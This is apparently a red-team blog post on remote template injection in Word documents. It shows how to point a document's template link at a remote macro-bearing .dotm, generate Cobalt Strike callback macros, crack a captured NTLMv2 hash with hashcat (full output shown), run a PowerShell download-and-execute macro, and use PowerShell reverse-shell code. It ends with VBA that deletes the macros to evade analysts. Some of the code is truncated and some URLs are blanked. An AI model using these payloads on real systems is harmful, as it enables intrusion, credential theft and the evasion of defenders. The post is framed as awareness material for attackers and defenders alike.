Remote Template Injection


This blog post was made to give security awareness to both Blue and Red teamers on tactics, techniques, and procedures (TTPs) used by adversaries. The technique is broken down to give Blue/Red teamers insight on how and why this technique works to better Red Team Operations, as well as aid Blue teamers in identifying potential opportunities on how to properly detect and respond to this attack.

What is Remote Template Injection?

Remote template injection allows adversaries to create or modify references in Microsoft Office document templates (.dotx) and inject malicious code within it. Microsoft Office document templates by default are used to download the necessary resources either locally or remotely. As adversaries tend to want to stay off of disk and leave as little of a trace as possible, being able to have a user pull a Word document template file down from a server and run a malicious macro is an effective way to bypass antivirus (AV) / Endpoint Detection and Response (EDR) products. Whenever a user opens the Word document, the Word document will fetch for the server to pull down the template and execute on request.

Microsoft’s Office Open XML (OOXML)

Something interesting about Microsoft Office is that Office Open XML (OOXML) exists. OOXML is essentially an XML-based format for Office documents, such as .docx, xlsx, and pptx files. The XML-based format Office documents are used to replace older Office formats such as .doc, .xls, and .ppt.

OOXML File Structure

These OOXML files are actually packed together in an archive typically in the following way (changes depending on if it is Word, Powerpoint, or Excel):

|   [Content_Types].xml
|__ _rels
|   |   .rels.xml
|__ docProps
|   |   app.xml
|   |   core.xml
|   |   custom.xml
|__ customXml
|   |   item1.xml
|   |   item2.xml
|   |   item3.xml
|   |   itemProps1.xml
|   |   itemProps2.xml
|   |   itemProp3.xml
|   |__ _rels
|   |   |   item1.xml
|   |   |   item2.xml
|   |   |   item3.xml
|__ word
|   |   document.xml
|   |   fontTable.xml
|   |   numbering.xml
|   |   settings.xml
|   |   styles.xml
|   |   webSettings.xml
|   |
|   |__ theme
|   |   |   theme1.xml
|	|
|	|__ _rels
|   |   |   document.xml.res
|   |   |   settings.xml.res

The file structure above is based on a document I made that was created using Microsoft Office’s templates “Singled spaced (blank)” template which creates a settings.xml file.


All of these files within the OOXML based document contain various files and all of them together essentially makes the document properly render. Within the document word/_rels/settings.xml.res contains a path to a target template file.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns=""><Relationship Id="rId1" Type="" Target="file:///C:\Users\<user_name>\AppData\Local\Microsoft\Office\16.0\DTS\en-US%7b92F4225B-B41E-4911-B496-EAAE8957371C%7d\%7bC0BD043B-DC80-4A0A-81E0-A5C8088180C1%7dtf02786999_win32.dotx" TargetMode="External"/></Relationships>

The Target variable is calling to a locally stored .dotx file in C:\Users\<user_name>\AppData\Local\Microsoft\Office\16.0\DTS\en-US%7b92F4225B-B41E-4911-B496-EAAE8957371C%7d\%7bC0BD043B-DC80-4A0A-81E0-A5C8088180C1%7dtf02786999_win32.dotx. This variable can be changed to point to a remote server or a local .dotx file stored on disk. In this case, using the Target variable to point to a remote server is going to be used to avoid writing as little as possible on disk.

Creating Microsoft Office Document Template file with Malicious Macro

Knowing that settings.xml allows for a path to be edited and grab a Microsoft Office Document Template file (.dotx) locally or remotely, embedding a malicious macro within the document to call back to a Command & Control Server (C2), run malicious, etc. is the next step.

Using a .dotx file and creating a macro generated by Cobalt Strike

Cobalt Strike can create macros to call back to its C2 pretty easily by navigating to Attacks -> Packages -> MS Office Macro -> Choose Listener -> Generate. After clicking “Generate”, Cobalt Strike shows steps on how to copy its generated macro into a Word / Excel document. Once the macro is generated, navigate to word and on the top panel click on “View” -> “Macros” -> “View Macros”.

Create a Macro name and then hit “Create” on the right hand side. After clicking “Create” the following should pop up:

This is VBA or Microsoft Visual basic for Applications. Within here, navigate to “This Document” as the picture shows below:

Paste the Cobalt Strike macro into here and going to “File” -> “Save " will save the macro to the document.

Editing settings .xml to point to a SMB share and executing the document

Within the initial malicious template file created, another Office document needs to be created. This Office document needs to be a template file as well but does not need any macros within it. Within the Office document created in this post, “test” was simply written in the document. To access settings.xml.res, the Office document that was just created needs to be extracted (with a tool like 7-Zip). After extracting the Office document and going to word/_rels/settings.xml.res, the following was stuck into the settings.xml.res file:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns=""><Relationship Id="rId1" Type="" Target="\\\share\fax.dotm" TargetMode="External"/></Relationships>

Note the Target variable is pointing to \\\share\fax.dotm which contains the macro that will callback to the C2. From here, zip the contents back up and change the .zip file extension into .docx and run the document.

Upon hitting “Enable Content” a callback is sent to the C2.

Cracking Passwords (w/ SMB Server)

Note that since a SMB server is being used, NTLMv2 hashes are getting pulled in as well. If the password is fairly weak (found in rockyou.txt wordlist. Or if the password was found in a data breach and has not been changed/has been frequently reused), there is the possibility that one could grab the NTLMv2 hash and crack the hash offline. Hashes can be cracked using hashcat which is a password recovery tool. Providing a hash-type (using -m. Hash-modes can be found here) and specifying a word list can attempt to crack the hash.

hashcat -m 5600 'test::DESKTOP-Q4KKFJ3:4141414141414141:bf11f3d670873af69d32b178565cdc92:010100000000000000d88628a805d8019cb252c2fb91d9ef00000000010010004d00710074006c0050006b00450043000200100066007800540047004a00650042007600030010004d00710074006c0050006b00450043000400100066007800540047004a006500420076000700080000d88628a805d80106000400020000000800300030000000000000000100000000200000ac5096548670bd431acfd34a6a324dd51aa026fdb08fc2f7acde870e7ee263440a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310030002e003100330034000000000000000000' /usr/share/wordlists/rockyou.txt                            
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 2.0 pocl 1.8  Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-AMD Ryzen 7 1700 Eight-Core Processor, 2859/2923 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: TEST::DESKTOP-Q4KKFJ3:4141414141414141:bf11f3d67087...000000
Time.Started.....: Sun Jan  9 14:29:28 2022 (1 sec)
Time.Estimated...: Sun Jan  9 14:29:29 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   818.4 kH/s (1.87ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 176128/14344385 (1.23%)
Rejected.........: 0/176128 (0.00%)
Restore.Point....: 174080/14344385 (1.21%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: berhasil -> 311331

Started: Sun Jan  9 14:29:01 2022
Stopped: Sun Jan  9 14:29:30 2022

The password was cracked and has been identified as Password1!.

Relay Attacks (w/ SMB Server - to be added)

Cracking passwords is not the only thing that can be done with NTLMv2 hashes though. NTLMv2 can also be used for relay attacks. I am not going to get into relay attacks in particular blog post, but may post about it in the future and update this blog post to link to that post.

Creating a malicious macro (not generated by Cobalt Strike)

The exact same steps can be taken to gain code execution or callbacks without a C2 like Cobalt Strike to generate macros. Creating a VBA macro that executes something can be as simple as the following:

Sub Document_Open()

set objShell = CreateObject("Wscript.Shell")
Shell.Run "<payload>"

End Sub

Sticking that into a macro by going to “View” > “Macros” > “View Macros” -> Create and sticking this inside of “ThisDocument” and saving the file is all that needs to be done. The payload used in this example is the following:

Sub Document_Open()

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell IEX (New-Object Net.WebClient).DownloadString('')"

End Sub

Essentially the object objShell will run a Powershell script in memory by calling to a HTTP server under and grab the file mini-reverse.ps1 to execute. The mini-reverse.ps1 contains this code:

$socket = new-object System.Net.Sockets.TcpClient('<ip_addr>', <port>);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
	$read = $null;
	$res = ""
	while($stream.DataAvailable -or $read -eq $null) {
		$read = $stream.Read($buffer, 0, 1024)
	$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
		$args = "";
		if($out.IndexOf(' ') -gt -1){
			$args = $out.substring($out.IndexOf(' ')+1);
			$out = $out.substring(0,$out.IndexOf(' '));
			if($args.split(' ').length -gt 1){
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                } else {
                    $res = $stdout
				$res = (&"$out" "$args") | out-string;
			$res = (&"$out") | out-string;
		if($res -ne $null){
}While (!$out.equals("exit"))

This code can be found here. With the .dotm template file with a macro created and a payload is generated and ready to execute, the only thing left is to change the settings.xml.res file again. Rather than using an SMB server like the previous example, a HTTP server will be used instead. The settings.xml.res file looks like this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns=""><Relationship Id="rId1" Type="" Target="" TargetMode="External"/></Relationships>

The settings.xml.res file is now pointing to within the Target variable. This is going to grab the new_template.dotm file (the Office template document with a malicious macro within it) from the web server under With that completed, zipping up the contents and changing the file extension from .zip to .docx and executing it will ultimately present a callback from the Windows endpoint due to remote template injection.

OPSEC Considerations

Security analysts who observe remote template injection occuring on an endpoint may be able to simply open the Office document in a sandboxed environment, view the macros, and have a good idea of what is going on if the malicious macros are simply left in the Office document. In November 2019, John Woodman posted a blog about how to Unlink and Self Delete VBA Macros. The technique Woodman uses is to unlink the current template and link the document to another template.

Sub unlink()  
Application.DisplayAlerts = False  
On Error GoTo Destroy  
ThisDocument.AttachedTemplate.Saved = True  
CurrUser = Application.UserName  
tmpLoc = "C:\Users\" & CurrUser & "\AppData\Roaming\Microsoft\Templates\Normal.dotm"  
ActiveDocument.AttachedTemplate = tmpLoc  
ActiveDocument.AttachedTemplate.Saved = True  
ThisDocument.Saved = True  
ActiveDocument.Saved = True  
ThisDocument.Close savechanges:=False  
Exit Sub  
Call ThisDocument.DeleteVBAPROJECT  
ThisDocument.Saved = True  
ActiveDocument.Saved = True  
ActiveDocument.AttachedTemplate.Saved = True  
ThisDocument.Close savechanges:=False  
End Sub

The Destory section of the code is an implemented “fail-safe” mechanism that Woodman implemented. Essentially if the unlinking process fails, it will call the DeleteVBAPROJECT function and delete all of the code in the template.

Sub DeleteVBAPROJECT()  
    Application.DisplayAlerts = False  
    Dim i As Long On Error Resume Next  
    With ThisDocument.VBProject  
        For i = .VBComponents.Count To 1 Step -1  
            .VBComponents.Remove .VBComponents(i)  
            .VBComponents(i).CodeModule.DeleteLines _  
            1, .VBComponents(i).CodeModule.CountOfLines  
        Next i  
    End With  
    On Error GoTo 0  
    ThisDocument.Saved = True  
    ActiveDocument.Saved = True  
End Sub

This is a pretty neat OPSEC technique to ensure macros are not just left out in the open. The technique is not perfect as Woodman explains as the VBA code functions are still present; however, it is better than nothing.